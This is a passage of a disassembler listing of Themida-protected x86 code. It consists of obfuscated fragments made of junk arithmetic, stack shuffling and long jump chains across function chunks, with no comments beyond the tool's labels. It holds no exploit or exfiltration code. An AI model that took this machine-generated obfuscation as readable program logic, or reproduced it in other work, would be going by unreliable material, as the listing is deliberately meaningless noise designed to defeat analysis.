; START OF FUNCTION CHUNK FOR sub_585452
loc_58457E: ; CODE XREF: sub_585452+33E6j
xchg edx, ecx
not edx
xchg edx, ecx
push 40Ch
mov [esp-8+arg_4], ecx
push [esp-8+arg_8]
mov ecx, [esp-4+arg_0]
jmp sub_58F3BC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584598: ; CODE XREF: Themida_:0058D4D0j
add ebx, 140D4DEEh
or ebx, 0A0F7F39h
add ebx, 24708009h
add edi, ebx
pop ebx
push ebx
mov ebx, 2
add edi, ebx
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_586D1D
; ---------------------------------------------------------------------------
loc_5845C6: ; CODE XREF: Themida_:00586E47j
mov [esp], ebx
mov bl, 1Ah
sub bl, 1
push 50E7h
mov [esp], edx
mov dl, 38h
dec dl
jmp loc_587E5B
; ---------------------------------------------------------------------------
loc_5845DF: ; CODE XREF: Themida_:00588D4Aj
pop esp
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_589C75
; ---------------------------------------------------------------------------
loc_5845FD: ; CODE XREF: Themida_:00586827j
add edx, 4
jmp loc_58E5C1
; ---------------------------------------------------------------------------
loc_584608: ; CODE XREF: Themida_:00588EA8j
mov cx, [esp]
push 591Bh
mov [esp], ebp
jmp loc_58A9BB
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
jmp loc_5879ED
; ---------------------------------------------------------------------------
loc_584621: ; CODE XREF: Themida_:0058B919j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E931
loc_584633: ; CODE XREF: sub_58E931-1CFFj
pop edx
pop edi
sub edi, 6D374C8h
pop eax
jmp loc_588FBA
; END OF FUNCTION CHUNK FOR sub_58E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584641: ; CODE XREF: sub_585452+96B9j
sub ch, 1
not ch
add ch, 4Eh
sub bl, 0D8h
add bl, 29h
sub bl, ch
sub bl, 29h
add bl, 0D8h
mov cx, word ptr [esp-4+arg_0]
add esp, 2
movzx eax, al
jmp loc_58978B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584669: ; CODE XREF: Themida_:0058B48Aj
add eax, 0C4063EA6h
push eax
add dword ptr [esp], 3DBB6B15h
jmp loc_58C7B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58467B: ; CODE XREF: sub_585452+9206j
add eax, 48A6431Eh
mov esi, [esp-8+arg_4]
sub esp, 4
jmp loc_585B15
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58468E: ; CODE XREF: Themida_:0058A22Cj
add ebx, edx
pop edx
push ecx
jmp loc_589A33
; ---------------------------------------------------------------------------
loc_584697: ; CODE XREF: Themida_:0058A149j
add dx, 1F6Eh
sub dx, si
sub dx, 1F6Eh
add dx, 589Dh
pop si
shr dx, 3
xor dx, 5804h
inc dx
sub dx, 49B3h
jmp loc_583CA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5846C0: ; CODE XREF: sub_585452+8E8Dj
add ecx, 4
push esi
mov esi, 4
jmp loc_586B75
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5846D1: ; CODE XREF: Themida_:0058979Dj
add ecx, 56EF0532h
push ebp
mov ebp, 0C53B6D72h
xor ecx, ebp
pop ebp
add edi, ecx
jmp loc_588C44
; ---------------------------------------------------------------------------
loc_5846E7: ; CODE XREF: Themida_:00583C93j
pop esp
jmp loc_58901E
; ---------------------------------------------------------------------------
loc_5846ED: ; CODE XREF: Themida_:00587F76j
xor ebp, [esp]
jmp loc_58F870
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E931
loc_5846F5: ; CODE XREF: sub_58E931-43E7j
push eax
jmp loc_583CC6
; END OF FUNCTION CHUNK FOR sub_58E931
; ---------------------------------------------------------------------------
loc_5846FB: ; CODE XREF: Themida_:0058C663j
mov edi, 4402420Bh
push 1B24h
mov [esp], esi
mov esi, 798F0CE8h
and edi, esi
jmp loc_58A353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BB49
loc_584714: ; CODE XREF: sub_58BB49+17j
add [esp+arg_0], 13532E8Bh
mov edx, [esp+0]
jmp loc_5888D5
; END OF FUNCTION CHUNK FOR sub_58BB49
; ---------------------------------------------------------------------------
loc_584724: ; CODE XREF: Themida_:0058738Cj
push edx
mov edx, 4
add esi, 368B254Fh
add esi, edx
push ebx
mov ebx, 253A2E09h
jmp loc_58FDBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C92B
loc_58473D: ; CODE XREF: sub_58C92B-5FB0j
xor ebx, 0AC1F2C13h
mov edx, ebx
pop ebx
shl edx, 5
sub esp, 4
mov [esp+0], edx
neg dword ptr [esp+0]
jmp loc_5857C2
; END OF FUNCTION CHUNK FOR sub_58C92B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_584757: ; CODE XREF: sub_58FA66-8A93j
push edx
jmp loc_58A4D4
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58475D: ; CODE XREF: sub_585452+7902j
push esp
mov ebp, [esp+4+var_4]
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
push 6179h
jmp loc_5869D2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DEA3
loc_58477B: ; CODE XREF: sub_58DEA3-1B24j
pop ecx
mov cl, dl
pop edx
jmp loc_586E88
; END OF FUNCTION CHUNK FOR sub_58DEA3
; ---------------------------------------------------------------------------
loc_584784: ; CODE XREF: Themida_:0058E060j
push 3375h
mov [esp], edx
mov dx, 2E47h
jmp loc_584B22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D97C
loc_584795: ; CODE XREF: sub_58D97C+246j
mov ecx, 1
jmp loc_58DC03
; END OF FUNCTION CHUNK FOR sub_58D97C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58479F: ; CODE XREF: sub_589967-5776j
and ebp, 330943EFh
sub ebp, 0DC8CB2F0h
xor edx, ebp
jmp loc_588AD5
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_5847B2: ; CODE XREF: sub_58F728-5D9Aj
push edi
push 4B6C4E4Ch
pop edi
xor edi, 49630FD4h
mov ebp, edi
pop edi
sub ebp, 3D1401E0h
or ebp, 2CD61EFDh
sub ebp, 0E47BFDC9h
add edx, ebp
pop ebp
add edx, esi
jmp sub_58C92B
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
loc_5847DE: ; CODE XREF: Themida_:00588696j
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5847E3: ; CODE XREF: sub_585452-B12j
not edx
xchg eax, edx
push 323Ah
jmp loc_585E58
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5847F0: ; CODE XREF: Themida_:00589256j
sub eax, 57F35986h
sub eax, ecx
add eax, 57F35986h
pop ecx
jmp loc_58E9D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584802: ; CODE XREF: sub_585452+744Dj
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584807: ; CODE XREF: Themida_:0058B531j
add ecx, edi
pop edi
xor ecx, [esp]
jmp loc_58911B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584812: ; CODE XREF: sub_585452+471Bj
add esi, ebp
pop ebp
jmp loc_58FBD8
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58481A proc near ; CODE XREF: sub_58D28B-2EC8j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00587587 SIZE 0000001D BYTES
sub esp, 4
mov [esp+4+var_4], edx
push edi
jmp loc_587587
sub_58481A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push edx
mov dh, 6
or dh, 0D2h
shl dh, 1
shr dh, 2
sub dh, 0FFh
jmp loc_58B962
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58483C: ; CODE XREF: sub_585452+239Dj
xor ecx, 6435F25h
push eax
mov eax, 64C80D3Eh
sub eax, 62C5E464h
jmp loc_5885DD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_58D5F8
; ---------------------------------------------------------------------------
loc_58485E: ; CODE XREF: Themida_:0058EF47j
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_58EB93
; ---------------------------------------------------------------------------
loc_58486A: ; CODE XREF: Themida_:0058E482j
add edx, ebp
pop ebp
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop eax
jmp loc_58D041
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58D4AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_584882: ; CODE XREF: sub_58EFBD-6736j
push edi
mov edi, 129E5CD1h
inc edi
jmp loc_58C365
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58488E: ; CODE XREF: Themida_:0058DB94j
push edx
mov edx, 0E9E235F3h
add ebp, edx
pop edx
add esi, ebp
jmp loc_58592D
; ---------------------------------------------------------------------------
loc_58489E: ; CODE XREF: Themida_:00586904j
shr ebx, 4
inc ebx
add ebx, 28C52B9Eh
add ebx, 2E8A1040h
jmp loc_58F604
; ---------------------------------------------------------------------------
loc_5848B3: ; CODE XREF: Themida_:005851BEj
mov edx, [esp]
add esp, 4
push ebx
jmp loc_585ACC
; ---------------------------------------------------------------------------
loc_5848BF: ; CODE XREF: Themida_:0058696Cj
add ecx, 4
push eax
mov eax, 4
add ecx, eax
pop eax
xor ecx, [esp]
jmp loc_589101
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_5848D6: ; CODE XREF: sub_58A170+45E1j
sub dh, 9
add ch, dh
pop edx
jmp loc_58C25D
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_5848E1: ; CODE XREF: Themida_:0058C5BDj
add al, 34h
add al, 9
sub al, dl
sub al, 9
jmp loc_58C4A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5848EE: ; CODE XREF: sub_585452+35EEj
add eax, 274F0327h
push edi
jmp loc_58C560
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5848F9: ; CODE XREF: Themida_:00588D6Aj
xor esi, [esp]
pop esp
mov ax, [esp]
push esi
push esp
pop esi
push ebp
mov ebp, 4
add esi, ebp
pop ebp
push 1404h
mov [esp], ebx
jmp loc_58C8C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58491A: ; CODE XREF: sub_585452+1FAAj
add edi, 49A11589h
pop ebx
mov ecx, edi
pop edi
add ebx, ecx
pop ecx
add ebx, 4
push ebx
push [esp+arg_0]
pop ebx
pop dword ptr [esp+0]
pop esp
mov edx, [esp-8+arg_4]
add esp, 4
jmp loc_5847E3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584945: ; CODE XREF: Themida_:0058816Bj
add edi, 4D2243FAh
jmp loc_58D10D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584950: ; CODE XREF: sub_585452+7732j
add esi, ebp
jmp loc_58A041
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_584957: ; CODE XREF: sub_58CCD7+3A5j
mov edx, esp
sub esp, 4
jmp loc_58DCBC
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584961: ; CODE XREF: sub_585452+4DBEj
add cl, 0FFh
not cl
push ax
mov ah, 45h
xor cl, ah
pop ax
add bl, 0DCh
sub bl, cl
sub bl, 0DCh
pop ecx
jmp loc_587A21
; ---------------------------------------------------------------------------
loc_58497C: ; CODE XREF: sub_585452+447j
pop esp
jmp loc_58A00F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584982: ; CODE XREF: Themida_:0058B4F7j
sub ecx, 645D7112h
dec ecx
add ecx, 0AA87BF43h
sub eax, 68A0597Fh
add eax, ecx
push ebp
mov ebp, 68A0597Fh
add eax, ebp
pop ebp
jmp loc_5881A7
; ---------------------------------------------------------------------------
loc_5849A4: ; CODE XREF: Themida_:00586AF4j
mov eax, 4
add ecx, eax
jmp loc_589F3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585019
loc_5849B0: ; CODE XREF: sub_585019+A7E1j
mov ebp, [esp+4+var_4]
jmp loc_58AD39
; END OF FUNCTION CHUNK FOR sub_585019
; ---------------------------------------------------------------------------
loc_5849B8: ; CODE XREF: Themida_:0058F257j
pop edx
add esp, 4
add esi, 2
xchg esi, [esp]
pop esp
mov fs:[edx], al
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5849CE: ; CODE XREF: sub_585452+2BFj
push [esp-14h+arg_12+2]
mov eax, [esp+0]
add esp, 4
pop [esp-14h+arg_E+2]
mov esp, [esp-18h+arg_12+2]
push [esp-18h+arg_12+2]
push [esp-14h+arg_E+2]
pop ecx
jmp loc_58C424
; ---------------------------------------------------------------------------
loc_5849ED: ; CODE XREF: sub_585452+97FCj
pop edi
pop esi
add ecx, edi
push dword ptr [ecx]
jmp loc_58A7C4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5849F8: ; CODE XREF: Themida_:005863BAj
mov ax, [esp]
push ebp
push esp
mov ebp, [esp]
add esp, 4
push edx
mov edx, 365D1171h
sub edx, 1
or edx, 50DD050Dh
add edx, 2CEC0C90h
neg edx
push ebx
jmp loc_58582A
; ---------------------------------------------------------------------------
push 1CF9h
jmp loc_5877D4
; ---------------------------------------------------------------------------
loc_584A2E: ; CODE XREF: Themida_:0058D907j
sub cl, dh
jmp loc_58BEFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584A35: ; CODE XREF: sub_585452+1B64j
mov [esp-18h+arg_12+2], esp
jmp loc_58A191
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584A3D: ; CODE XREF: Themida_:00589E39j
xor ebx, 0B52F1A47h
jmp loc_58B91E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584A48: ; CODE XREF: sub_585452+95Dj
bts word ptr [esp-18h+arg_12+2], ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_584A53: ; CODE XREF: sub_585452+30ECj
not bh
push eax
jmp loc_589716
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584A5B: ; CODE XREF: Themida_:0058512Bj
pop esp
sub al, 64h
jmp loc_58E792
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584A63: ; CODE XREF: sub_585452+1222j
push 4CFBh
mov [esp-0Ch+arg_8], ecx
mov cl, 9Fh
sub cl, 1
neg cl
push cx
not byte ptr [esp-0Ah+arg_4+2]
pop cx
add cl, 0E9h
jmp loc_584EFF
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584A81: ; CODE XREF: Themida_:0058B682j
mov [esp], edi
mov edi, 7AB228FAh
jmp loc_587CAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_584A8E: ; CODE XREF: sub_589967+561Fj
mov edi, 0C35456Ah
add edi, 1C2B4B8Ah
shl edi, 8
add edi, 45B0FF00h
add edx, edi
pop edi
push 6CE1h
jmp loc_583F00
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584AAF: ; CODE XREF: sub_585452+28E3j
sub eax, 58742948h
shl eax, 7
xor eax, 2D093904h
add ebp, eax
pop eax
add ebp, 4
xchg ebp, [esp+0]
pop esp
jmp loc_587499
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584ACB: ; CODE XREF: Themida_:00588D33j
push ebp
mov ebp, 6F5C245Ch
jmp loc_58BB2B
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4059h
mov [esp], edi
push 733Bh
push esp
pop dword ptr [esp]
jmp loc_58FC6F
; ---------------------------------------------------------------------------
loc_584AF0: ; CODE XREF: Themida_:0058B0CCj
add ecx, 4
push 7019h
mov [esp], esi
mov esi, 2
sub ecx, 1C7A0C30h
sub ecx, 101B2B9Bh
add ecx, esi
add ecx, 101B2B9Bh
add ecx, 1C7A0C30h
jmp loc_58BC2A
; ---------------------------------------------------------------------------
loc_584B22: ; CODE XREF: Themida_:00584790j
push si
jmp loc_58AD68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584B29: ; CODE XREF: sub_585452+375j
push edx
jmp loc_586BB1
; ---------------------------------------------------------------------------
loc_584B2F: ; CODE XREF: sub_585452+855j
pop esp
push [esp-14h+arg_E+2]
jmp loc_58E7E8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_584B38: ; CODE XREF: sub_58EFBD-5872j
or ebp, ecx
jmp loc_58CC00
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_584B3F: ; CODE XREF: Themida_:0058B8F7j
mov [esp], ecx
push 10F3h
mov [esp], ebx
mov ebx, 798E1FB3h
mov ecx, 799358FAh
sub ecx, ebx
mov ebx, [esp]
add esp, 4
push 2EFFh
mov [esp], esi
mov esi, ecx
jmp loc_58B9AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_584B6B: ; CODE XREF: sub_58FA66-68FFj
neg eax
jmp loc_584DA7
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584B72: ; CODE XREF: sub_585452+169j
pop dword ptr [esp+0]
jmp loc_58D98B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584B7A: ; CODE XREF: Themida_:0058F79Bj
push ebp
push eax
push 57D763BDh
jmp loc_58F2B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584B86: ; CODE XREF: sub_585452+8865j
push ecx
mov cl, 5Eh
jmp loc_58AB2F
; ---------------------------------------------------------------------------
loc_584B8E: ; CODE XREF: sub_585452+8CDFj
pop ebp
jmp loc_58AE60
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584B94: ; CODE XREF: Themida_:005879E8j
pop ecx
jmp loc_58FEB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_584B9A: ; CODE XREF: sub_58EFBD+747j
mov ebp, eax
pop eax
jmp loc_58F71E
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584BA2: ; CODE XREF: sub_585452+547Cj
neg eax
shr eax, 8
dec eax
jmp loc_588E3A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584BAD: ; CODE XREF: Themida_:0058E85Cj
xor ebx, 0AAE8A4ACh
add ecx, ebx
pop ebx
jmp loc_585C05
; ---------------------------------------------------------------------------
loc_584BBB: ; CODE XREF: Themida_:0058EA08j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_584BC0: ; CODE XREF: Themida_:0058A5C3j
add al, bl
sub al, 0CDh
push ebx
jmp loc_58B7AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584BCA: ; CODE XREF: sub_585452+6CF1j
pop ecx
jmp loc_586141
; ---------------------------------------------------------------------------
loc_584BD0: ; CODE XREF: sub_585452+5A1Dj
add [esp-18h+arg_16+2], ebx
pop ebx
add [esp-1Ch+arg_16+2], 4F2B74B1h
add [esp-1Ch+arg_16+2], 6801D10h
jmp loc_58C12F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_584BE8: ; CODE XREF: sub_58C230+3084j
pop eax
push edi
push [esp+arg_0]
pop edi
pop dword ptr [esp+0]
pop esp
add eax, 4
add eax, 4
xchg eax, [esp-8+arg_4]
pop esp
sub edi, 53CF6FA4h
push ecx
jmp loc_587263
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_584C0D: ; CODE XREF: Themida_:00587436j
push 3C06h
mov [esp], ebx
push 36AEh
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
push eax
push 6DDCh
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
jmp loc_5885AF
; ---------------------------------------------------------------------------
loc_584C3F: ; CODE XREF: Themida_:00585FD8j
shr eax, 5
jmp loc_5886FA
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 174Fh
mov [esp], edi
push esp
pop edi
push ebp
push ebx
mov ebx, 4
mov ebp, ebx
jmp loc_5890CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584C62: ; CODE XREF: sub_585452+C65j
sub dh, 83h
sub al, dh
pop edx
jmp loc_58FA13
; ---------------------------------------------------------------------------
loc_584C6D: ; CODE XREF: sub_585452+5A57j
mov ebp, esp
add ebp, 4
push edi
mov edi, 4
add ebp, edi
pop edi
xchg ebp, [esp-20h+arg_1A+2]
pop esp
push edx
mov edx, 2C9874C6h
not edx
shl edx, 1
neg edx
not edx
not edx
sub edx, 365BB734h
xor eax, edx
pop edx
push 23C6h
jmp loc_5862D1
; ---------------------------------------------------------------------------
loc_584CA5: ; CODE XREF: sub_585452+A801j
add edi, 85738F4Bh
mov edx, edi
pop edi
jmp loc_587120
; ---------------------------------------------------------------------------
loc_584CB3: ; CODE XREF: sub_585452+94A8j
sub bl, 6Ch
sub bl, ah
push cx
mov cl, 6Ch
sub bl, 0F7h
sub bl, 0C7h
add bl, cl
push edx
jmp loc_58C525
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_584CCA: ; CODE XREF: sub_587574+4FFj
pop ebx
add ebx, 4
push ebp
mov ebp, 4
add ebx, 59F53D34h
sub ebx, ebp
sub ebx, 59F53D34h
jmp loc_58CA46
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584CEA: ; CODE XREF: sub_585452+6FEj
xor edx, [esp-1Eh+arg_1A]
xor [esp-1Eh+arg_1A], edx
jmp loc_5870B7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584CF5: ; CODE XREF: Themida_:0058CE27j
push eax
jmp loc_58A7AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584CFB: ; CODE XREF: sub_585452+7FA0j
mov ebx, 0
push ecx
mov ecx, 3CA12C82h
shr ecx, 2
jmp loc_588F2E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584D0E: ; CODE XREF: Themida_:00587B19j
add edi, 4
push edx
mov edx, 4
add edi, edx
pop edx
xchg edi, [esp]
pop esp
push ebx
jmp loc_588E56
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584D27: ; CODE XREF: sub_585452+53F9j
dec eax
xchg eax, esi
push edx
mov edx, 58F703A9h
dec edx
or edx, 78082D05h
xor edx, 767C629Ah
sub esi, edx
pop edx
mov ebx, esi
mov esi, [esp-1Ah+arg_16]
add esp, 4
add ebx, 3144B9Bh
add ebx, edi
sub ebx, 3144B9Bh
sub esp, 4
jmp loc_585E44
; ---------------------------------------------------------------------------
loc_584D60: ; CODE XREF: sub_585452+32DBj
and ecx, ebx
pop ebx
jmp loc_5877E9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
push esp
pop esi
push edx
mov edx, 4
sub esi, 4A7A77F0h
add esi, edx
add esi, 4A7A77F0h
pop edx
jmp loc_5866E8
; ---------------------------------------------------------------------------
loc_584D91: ; CODE XREF: Themida_:005870C6j
not bh
xor bh, 0E3h
push dx
mov dl, 77h
sub bh, dl
jmp loc_58C2A3
; ---------------------------------------------------------------------------
loc_584DA1: ; CODE XREF: Themida_:0058F501j
push esp
jmp loc_589691
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_584DA7: ; CODE XREF: sub_58FA66-AEF9j
sub eax, 348B20A6h
xor esi, eax
jmp loc_58D4A2
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584DB3: ; CODE XREF: sub_585452+76C8j
add esi, eax
jmp loc_58B3AF
; ---------------------------------------------------------------------------
loc_584DBA: ; CODE XREF: sub_585452+2AECj
push eax
jmp loc_588910
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
lodsd
add eax, 6D715E9h
add eax, 12D1067h
add eax, 75A18BBh
sub eax, ebx
push edx
mov edx, 75A18BBh
sub eax, 2DC7366Fh
sub eax, edx
add eax, 2DC7366Fh
mov edx, [esp]
jmp loc_587CC2
; ---------------------------------------------------------------------------
loc_584DEC: ; CODE XREF: Themida_:0058E9CDj
xchg ebx, [esp]
mov esp, [esp]
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_58F25C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584E03: ; CODE XREF: sub_585452+7D19j
pop ebx
add esp, 4
jmp loc_58BC61
; ---------------------------------------------------------------------------
loc_584E0F: ; CODE XREF: sub_585452-59Dj
inc cl
shr cl, 5
sub cl, 0FCh
sub ah, cl
pop ecx
add ah, 94h
sub ch, ah
pop eax
jmp loc_5894FC
; ---------------------------------------------------------------------------
loc_584E25: ; CODE XREF: sub_585452+3CC4j
pop esp
mov [esp-2Eh+arg_28+2], edx
mov edx, 28h
sub edx, 5A216727h
sub edx, 16015B31h
add edx, edi
add edx, 16015B31h
add edx, 5A216727h
push ebx
mov ebx, 0
add ebx, 1C465D99h
add ebx, edx
sub ebx, 1C465D99h
push dword ptr [ebx]
sub dword ptr [esp+0], 42F7481Ah
pop eax
jmp loc_58A42B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584E6B: ; CODE XREF: Themida_:0058FA0Ej
xor bl, al
jmp loc_58694B
; ---------------------------------------------------------------------------
loc_584E72: ; CODE XREF: Themida_:00588997j
add edx, ebp
jmp loc_5894E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_584E79: ; CODE XREF: sub_58999B+611Bj
mov [esp+0], dx
jmp loc_58EE8D
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584E82: ; CODE XREF: sub_585452+6946j
pop ecx
push [esp-2Eh+arg_28+2]
pop ebx
add esp, 4
add eax, 4
xchg eax, [esp-32h+arg_2C+2]
pop esp
bswap eax
push ecx
mov ecx, esp
push 15D5h
mov [esp-2Eh+arg_28+2], esi
mov esi, 624D0F60h
jmp loc_58A850
; ---------------------------------------------------------------------------
loc_584EAD: ; CODE XREF: sub_585452+163Cj
mov ah, 5Bh
add ah, dl
pop edx
push ecx
mov cl, 0B3h
jmp loc_584E0F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_584EBA: ; CODE XREF: sub_589967-17D8j
mov ebx, 5B7F5411h
or ebx, 19040BFEh
push esi
mov esi, 27047B16h
and ebx, esi
jmp loc_587360
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_584ED2: ; CODE XREF: Themida_:0058FF15j
mov [esp], eax
jmp loc_5856F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584EDA: ; CODE XREF: sub_585452+8FE3j
pop edx
add esi, ecx
add esi, 46A118C9h
mov ecx, [esp-32h+arg_2C+2]
add esp, 4
add esi, 4
push esi
push [esp-32h+arg_32]
mov esi, [esp-2Eh+arg_28+2]
jmp loc_58E6DB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584EF9: ; CODE XREF: Themida_:005853AEj
push edi
jmp loc_586A49
; ---------------------------------------------------------------------------
